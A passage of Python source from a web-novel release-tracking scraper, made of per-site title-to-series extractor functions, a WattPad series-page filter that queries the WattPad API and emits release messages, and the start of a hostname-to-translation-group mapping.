	if '[LBD&A]' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Line between Devil and Angel', vol, chp, frag=frag, postfix=postfix)

	if '[VW: Conquer the World]' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'VW: Conquering the World', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractYoushoku(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'The Other World Dining Hall' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'The Other World Dining Hall', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractZSW(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'Shen Mu' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Shen Mu', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractXantAndMinions(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) and not "prologue" in item['title'].lower():
		return False
	if 'LV999 Villager' in item['title']:
		return buildReleaseMessage(item, 'LV999 Villager', vol, chp, frag=frag, postfix=postfix)
	if 'Boundary Labyrinth and the Foreign Magician' in item['title']:
		return buildReleaseMessage(item, 'Boundary Labyrinth and the Foreign Magician', vol, chp, frag=frag, postfix=postfix)
	if 'The Bears Bear a Bare Kuma' in item['title'] or 'Kuma Kuma Kuma Bear' in item['title']:
		return buildReleaseMessage(item, 'Kuma Kuma Kuma Bear', vol, chp, frag=frag, postfix=postfix)
	if "Black Knight" in item['title']:
		return buildReleaseMessage(item, "The Black Knight Who Was Stronger than even the Hero", vol, chp, frag=frag, postfix=postfix)
	if "Astarte’s Knight" in item['title']:
		return buildReleaseMessage(item, "Astarte's Knight", vol, chp, frag=frag, postfix=postfix)
	if "Queen’s Knight Kael" in item['title']:
		return buildReleaseMessage(item, "Queen's Knight Kael", vol, chp, frag=frag, postfix=postfix)
	if "Legend of Xingfeng" in item['title']:
		return buildReleaseMessage(item, "Legend of Xingfeng", vol, chp, frag=frag, postfix=postfix)


	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractWatDaMeow(item):
	'''

	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Commushou' in item['tags']:
		return buildReleaseMessage(item, 'Commushou no Ore ga, Koushou Skill ni Zenfurishite Tenseishita Kekka', vol, chp, frag=frag, postfix=postfix)
	if 'Kitsune-sama' in item['tags']:
		return buildReleaseMessage(item, 'Isekai Kichattakedo Kaerimichi doko?', vol, chp, frag=frag, postfix=postfix)
	if "We live in dragon's peak" in item['tags']:
		return buildReleaseMessage(item, "We live in dragon's peak", vol, chp, frag=frag, postfix=postfix)
	if 'JuJoku' in item['title']:
		return buildReleaseMessage(item, 'Junai X Ryoujoku Kompurekusu', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractWolfieTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The amber sword' in item['tags']:
		return buildReleaseMessage(item, 'The Amber Sword', vol, chp, frag=frag, postfix=postfix)
	if 'The latest game is too amazing' in item['tags']:
		return buildReleaseMessage(item, 'The Latest Game is too Amazing', vol, chp, frag=frag, postfix=postfix)
	if 'The strategy to become good at magic' in item['tags']:
		return buildReleaseMessage(item, 'The Strategy to Become Good at Magic', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractVerathragana(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "Chapter" in item['title']:
		return buildReleaseMessage(item, 'The Prince Of Nilfheim', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractWitchLife(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Witch Life' in item['tags']:
		return buildReleaseMessage(item, 'Witch Life', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractWalkingTheStorm(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	return buildReleaseMessage(item, "Joy of life", vol, chp, frag=frag, postfix=postfix)


####################################################################################################################################################
#
####################################################################################################################################################
def extractWebNovelJapaneseTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Kizoku Yamemasu Shomin ni Narimasu' in item['tags']:
		return buildReleaseMessage(item, 'Kizoku Yamemasu Shomin ni Narimasu', vol, chp, frag=frag, postfix=postfix)

	return False








def  extractWeleTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if item['title'].lower().startswith('sin city'):
		return buildReleaseMessage(item, 'Sin City', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('zhan xian'):
		return buildReleaseMessage(item, 'Zhan Xian', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('heaven awakening path'):
		return buildReleaseMessage(item, 'Heaven Awakening Path', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('immortal executioner'):
		return buildReleaseMessage(item, 'Immortal Executioner', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractWalkTheJiangHu(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'TTNH Chapter' in item['title']:
		return buildReleaseMessage(item, "Transcending the Nine Heavens", vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractYiYueTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractZxzxzxsBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def  extract一期一会万歳(item):
	'''
	# '一期一会, 万歳!'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def  extractWhenTheHuntingPartyCame(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractXiaowen206sBlog(item):
	'''
	# "Xiaowen206's Blog"
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWhiteTigerTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if item['title'].lower().startswith('mp volume'):
		return buildReleaseMessage(item, 'Martial Peak', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('ipash chapter'):
		return buildReleaseMessage(item, 'Martial Peak', vol, chp, frag=frag, postfix=postfix)

	return False

def  extractWhiteNightSite(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'What Came to Mind During My Third Time in Another World Was to for Now, Get Naked.' in item['tags']:
		return buildReleaseMessage(item, 'What Came to Mind During My Third Time in Another World Was to for Now, Get Naked.', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractZombieKnight(item):
	'''

	'''
	titleconcat = " ".join(item['tags']) + item['title']
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(titleconcat)
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	return buildReleaseMessage(item, 'The Zombie Knight', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

####################################################################################################################################################
#
####################################################################################################################################################

def  extractWuxiwish(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWIP(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	print(item['title'])
	print(item['tags'])
	print("'{}', '{}', '{}', '{}'".format(vol, chp, frag, postfix))

	return False






####################################################################################################################################################
#
####################################################################################################################################################

def  extractZenTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWorldofSummie(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWizThiefsNovels(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'My immortality It’s in a Death game' in item['title']:
		return buildReleaseMessage(item, 'My immortality It\'s in a Death game', vol, chp, frag=frag, postfix=postfix)
	if 'Thanks to a different world reincarnation' in item['title']:
		return buildReleaseMessage(item, 'Thanks to a different world reincarnation', vol, chp, frag=frag, postfix=postfix)
	if 'Grave “Z”' in item['title']:
		return buildReleaseMessage(item, 'Grave "Z"', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractVillageTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWuxiaTranslators(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'World Defying Dan God' in item['tags']:
		return buildReleaseMessage(item, 'World Defying Dan God', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractWillfulCasual(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Chu Wang Fei' in item['tags']:
		return buildReleaseMessage(item, "Chu Wang Fei", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractVolareTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Great Demon King' in item['tags']:
		return buildReleaseMessage(item, 'Great Demon King', vol, chp, frag=frag, postfix=postfix)
	if 'Sovereign of the Three Realms' in item['tags']:
		return buildReleaseMessage(item, 'Sovereign of the Three Realms', vol, chp, frag=frag, postfix=postfix)
	if 'Age of Lazurite' in item['tags']:
		return buildReleaseMessage(item, 'Age of Lazurite, Tower of Glass', vol, chp, frag=frag, postfix=postfix)
	if 'Apartment from Hell' in item['tags']:
		return buildReleaseMessage(item, "Apartment from Hell", vol, chp, frag=frag, postfix=postfix)
	if 'Celestial Employee' in item['tags']:
		return buildReleaseMessage(item, "Celestial Employee", vol, chp, frag=frag, postfix=postfix)
	if 'Cultivation Chat Group' in item['tags']:
		return buildReleaseMessage(item, "Cultivation Chat Group", vol, chp, frag=frag, postfix=postfix)
	if 'Falling Dreams of Fang Hua' in item['tags']:
		return buildReleaseMessage(item, "Falling Dreams of Fang Hua", vol, chp, frag=frag, postfix=postfix)
	if 'My Wife is a Beautiful CEO' in item['tags']:
		return buildReleaseMessage(item, "My Wife is a Beautiful CEO", vol, chp, frag=frag, postfix=postfix)
	if 'Release that Witch' in item['tags']:
		return buildReleaseMessage(item, "Release that Witch", vol, chp, frag=frag, postfix=postfix)
	if 'Sword Spirit' in item['tags']:
		return buildReleaseMessage(item, "Sword Spirit", vol, chp, frag=frag, postfix=postfix)
	if "Demon Wang's Favorite Fei" in item['tags']:
		return buildReleaseMessage(item, "Demon Wang's Golden Favorite Fei", vol, chp, frag=frag, postfix=postfix)
	if 'True Cultivators' in item['tags']:
		return buildReleaseMessage(item, 'The Strong, The Few, True Cultivators on Campus', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractZeonic(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extract天才創造すなわち百合(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWhimsicalLand(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extract12Superlatives(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWeavingstoriesandbuildingcastlesintheclouds(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWelcomeToTheUnderdark(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extract輝く世界(item):
	'''
	# '輝く世界'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def  extractYoutsubasilversBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWatermelonHelmets(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Dragon Life' in item['tags'] or 'Dragon Life: Chapter' in item['title']:
		return buildReleaseMessage(item, 'Dragon Life', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractXantDoesStuffAndThings(item):
	'''
	# 'Xant Does Stuff and Things'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractXantbos(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractWordofCraft(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Toaru Ossan no VRMMO katsudouki' in item['tags']:
		return buildReleaseMessage(item, 'Toaru Ossan no VRMMO katsudouki', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractWLTranslations(item):
	'''
	# 'WL Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Chapter Releases' in item['tags'] and ('OSI' in item['tags'] or item['title'].startswith("OSI Chapter")):
		return buildReleaseMessage(item, 'One Sword to Immortality', vol, chp, frag=frag, postfix=postfix)
	return False

def  extract睡眠中毒(item):
	'''
	# '睡眠中毒'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def  extractYoukoAdvent(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	# No chapter numbers in titles. Arrrgh

	return False

def  extractWormACompleteWebSerial(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extract7DaysTrial(item):
	'''
	#'7 Days Trial'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'content' in item['tags']:
		return buildReleaseMessage(item, 'War of the Supreme', vol, chp, frag=frag, postfix=postfix)
	return False


def  extract77Novel(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def extractWishUponAHope(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def extractWumsTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractXianxiaTales(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractYamiTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractZeroTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractV7Silent(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'The Demon Queen is My Fiancée!' in item['tags']:
		return buildReleaseMessage(item, 'The Demon Queen is My Fiancée!', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Getcha Skills' in item['tags']:
		return buildReleaseMessage(item, 'Getcha Skills', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False


def extractWarriorWriting(item):
	"""
	Warrior Writing
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractWigglyTranslation(item):
	"""
	Wiggly Translation
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith("Man Huang Feng Bao: "):
		return buildReleaseMessage(item, 'Man Huang Feng Bao', vol, chp, frag=frag, postfix=postfix)
	return False
def extractWorldofHope(item):
	"""
	World of Hope
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractWorldTurtleTranslations(item):
	"""
	World Turtle Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractYasashiHonyaku(item):
	"""
	Yasashi Honyaku
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractYeagdrasil(item):
	"""
	Yeagdrasil
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractYourMajestyPleaseCalmDown(item):
	"""
	Your Majesty Please Calm Down
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extract書櫃(item):
	"""
	『書櫃』
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extract閒人ONLINE(item):
	"""
	閒人 • O N L I N E
	"""
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Great Tang Idyll' in item['tags']:
		return buildReleaseMessage(item, 'Great Tang Idyll', vol, chp, frag=frag, postfix=postfix)
	return False










import runStatus
runStatus.preloadDicts = False

import WebMirror.OutputFilters.FilterBase

import WebMirror.OutputFilters.util.MessageConstructors  as msgpackers
from WebMirror.OutputFilters.util.TitleParsers import extractTitle

import bs4
import re
import markdown
import time
import datetime
import calendar
import WebMirror.util.webFunctions

from settings import WATTPAD_REQUIRED_TAGS
from settings import WATTPAD_MASKED_TAGS

MIN_RATING = 5

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################

BLOCK_IDS = {

}



IS_BETA = True


class WattPadSeriesPageFilter(WebMirror.OutputFilters.FilterBase.FilterBase):


	wanted_mimetypes = [

							'text/html',
						]
	want_priority    = 50

	loggerPath = "Main.Filter.WattPad"


	@staticmethod
	def wantsUrl(url):
		if re.search(r"^https://www.wattpad.com/story/\d+.+$", url):
			# print("WattPad Processor Wants url: '%s'" % url)
			return True
		return False

	def __init__(self, **kwargs):

		self.kwargs     = kwargs


		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']

		self.log.info("Processing WattPad Item")
		super().__init__()

		self.wg = WebMirror.util.webFunctions.WebGetRobust(logPath=self.loggerPath+".Web")


##################################################################################################################################
##################################################################################################################################
##################################################################################################################################


	def extractSeriesReleases(self, seriesPageUrl, metadata, soup):

		title  = metadata['title']
		author = metadata['user']['name']
		desc   = metadata['description']
		tags   = metadata['tags']

		# Apparently the description is rendered in a <pre> tag.
		# Huh?
		desc = markdown.markdown(desc, extensions=["linkify"])

		title = title.strip()

		# Siiiiiigh. Really?
		title = title.replace("[#wattys2015]", "")
		title = title.replace("(Wattys2015) ", "")
		title = title.replace("#Wattys2015", "")
		title = title.replace("Wattys2015", "")
		title = title.strip()

		if metadata['numParts'] < 3:
			return []
		if metadata['voteCount'] < 100:
			return []

		# Language ID 1 is english.
		if metadata['language']['id'] != 1:
			return []

		# Allow blocking of item by ID
		if metadata['id'] in BLOCK_IDS:
			return []

		# for some particularly stupid reasons, the item category tag is
		# not included in the metadata.
		# therefore, we parse it out from the page manually.
		tagdiv = soup.find("div", class_="tags")
		if tagdiv:
			for tag in tagdiv.find_all("a", class_='tag'):
				tags.append(tag.get_text())


		tags = list(set([item.lower().strip().replace("  ", " ").replace(" ", "-") for item in tags]))

		# Mask any content with any of the blocked tags.
		if any([item in tags for item in WATTPAD_MASKED_TAGS]):
			self.log.warning("Item has a masked tag. Not emitting any releases.")
			self.log.warning("Tags: '%s'", tags)
			return

		# And check that at least one of the target tags is present.
		if not any([item in tags for item in WATTPAD_REQUIRED_TAGS]):
			self.log.warning("Item missing required tag. Not emitting any releases.")
			self.log.warning("Tags: '%s'", tags)
			return


		seriesmeta = {}

		extra = {}
		extra['tags']        = tags[:]
		extra['homepage']    = seriesPageUrl
		extra['sourcesite']  = 'WattPad'



		retval = []
		index = 1
		valid = 1
		for release in metadata['parts']:
			chp_title = release['title']

			dt = datetime.datetime.strptime(release['modifyDate'], "%Y-%m-%dT%H:%M:%SZ" )
			reldate = calendar.timegm(dt.timetuple())

			raw_item = {}
			raw_item['srcname']   = "WattPad"
			raw_item['published'] = reldate
			raw_item['linkUrl']   = release['url']
			msg = msgpackers.buildReleaseMessage(raw_item, title, None, index, None, author=author, postfix=chp_title, tl_type='oel', extraData=extra, matchAuthor=True)
			retval.append(msg)

			# Check if there was substantive structure in the chapter
			# name. Used as a crude heuristic for chapter validity.
			# vol, chp, frag, post = extractTitle(chp_title)
			# if any((vol, chp, frag)):
			# 	# print("Valid: ", (vol, chp, frag))
			# 	valid += 1

			index += 1

		# if valid < (index/2):
		# 	print("Half the present chapters are have no numeric content?")
		# 	return []

		# Don't send the series metadata if we didn't find any chapters.
		if not retval:
			print("No chapters!")
			return []


		seriesmeta['title']       = title
		seriesmeta['author']      = author
		seriesmeta['tags']        = tags
		seriesmeta['homepage']    = seriesPageUrl
		seriesmeta['desc']        = desc
		seriesmeta['tl_type']     = 'oel'
		seriesmeta['sourcesite']  = 'WattPad'


		pkt = msgpackers.createSeriesInfoPacket(seriesmeta, beta=IS_BETA, matchAuthor=True)
		self.log.info("Wattpad scraper generated %s amqp messages!", len(retval) + 1)
		self.amqp_put_item(pkt)
		return retval




	def sendReleases(self, releases):
		self.log.info("Total releases found on page: %s", len(releases))
		for release in releases:
			pkt = msgpackers.createReleasePacket(release, beta=IS_BETA)
			self.amqp_put_item(pkt)

	def getJsonMetadata(self, soup):
		# There are a couple of tags with the data-attr "story-id"
		# Grab them all, and while we're at it, check they all match (they should)
		story_id = soup.find_all(True, {'data-story-id' : True})
		assert story_id, "No story ID tag found on page?"
		pre = story_id.pop()['data-story-id']
		for remaining in story_id:

			if not pre == remaining['data-story-id']:
				self.log.warning("Mismatched story-ids when fetching wattpad item metadata: '%s' - '%s'.", pre, remaining['data-story-id'])

		return pre


	def processPage(self, url, content):

		soup = WebMirror.util.webFunctions.as_soup(self.content)
		sid = self.getJsonMetadata(soup)

		# The GET request url is somewhat ridiculous. Build
		# it up in segments so we don't have a 500 char line
		segments = [
			"https://www.wattpad.com/api/v3/stories/{num}?include_deleted=0&".format(num=sid),
			"fields=id%2Ctitle%2CvoteCount%2CmodifyDate%2CreadCount%2CcommentCount%2Cdescription",
			"%2Curl%2Ccover%2Clanguage%2CisAdExempt%2Cuser(name%2Cusername%2Cavatar%2C"
			"description%2Clocation%2Chighlight_colour%2CbackgroundUrl%2CnumLists%2C",
			"numStoriesPublished%2CnumFollowing%2CnumFollowers%2Ctwitter)%2Ccompleted",
			"%2CnumParts%2Cparts(id%2Ctitle%2Clength%2Curl%2Cdeleted%2Cdraft%2CmodifyDate)%2Ctags%2Ccategories",
			"%2Crating%2Crankings%2Clanguage%2Ccopyright%2CsourceLink%2CfirstPartId%2Cdeleted%2Cdraft",
			]
		surl = "".join(segments)
		print(url)
		metadata = self.wg.getJson(surl, addlHeaders={'Referer': url})

		releases = self.extractSeriesReleases(self.pageUrl, metadata, soup)


		if releases:
			self.sendReleases(releases)




##################################################################################################################################
##################################################################################################################################
##################################################################################################################################



	def extractContent(self):
		# print("Call to extract!")
		# print(self.amqpint)

		self.processPage(self.pageUrl, self.content)


def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.rules
	import WebMirror.Engine
	import multiprocessing
	logSetup.initLogging()

	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok)



	engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fiction/3021'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/latest-updates'))



if __name__ == "__main__":
	test()














import urllib.parse

mapper = {

	# Wordpress
	"87percenttranslation.wordpress.com"              : "87 Percent Translation",
	"asherahbluenotebook.wordpress.com"               : "AsherahBlue's Notebook",
	"durasama.wordpress.com"                          : "Durasama",
	"ensjtrans.wordpress.com"                         : "Ensj Translations",
	"entruce.wordpress.com"                           : "EnTruce Translations",
	"forgetfuldreamer.wordpress.com"                  : "Forgetful Dreamer",
	"fudgetranslations.wordpress.com"                 : "Fudge Translations",
	"koongkoongtranslations.wordpress.com"            : "Koong Koong Translations",
	"magelifeblog.wordpress.com"                      : "Mage Life",
	"mike777ac.wordpress.com"                         : "Mike777ac",
	"mike777ac.com"                                   : "Mike777ac",
	"rejecthero.wordpress.com"                        : "Reject Hero",
	"shikkakutranslations.wordpress.com"              : "Shikkaku Translations",
	"shikkakutranslations.com"                        : "Shikkaku Translations",
	"tototrans.wordpress.com"                         : "Totokk\'s Translations",
	"translationraven.wordpress.com"                  : "Translation Raven",
	"unchainedtranslation.wordpress.com"              : "Unchained Translation",
	"zoengsaiwaa.wordpress.com"                       : "ZSW",
	'12superlatives.wordpress.com'                    : '12 Superlatives',
	'9ethtranslations.wordpress.com'                  : 'TheLazy9',
	'addnewtab.wordpress.com'                         : 'Lost in Translation',
	'aelyiyue.wordpress.com'                          : 'Yi Yue Translation',
	'aflappyteddybird.wordpress.com'                  : 'AFlappyTeddyBird',
	'agreyworld.wordpress.com'                        : 'A Grey World',
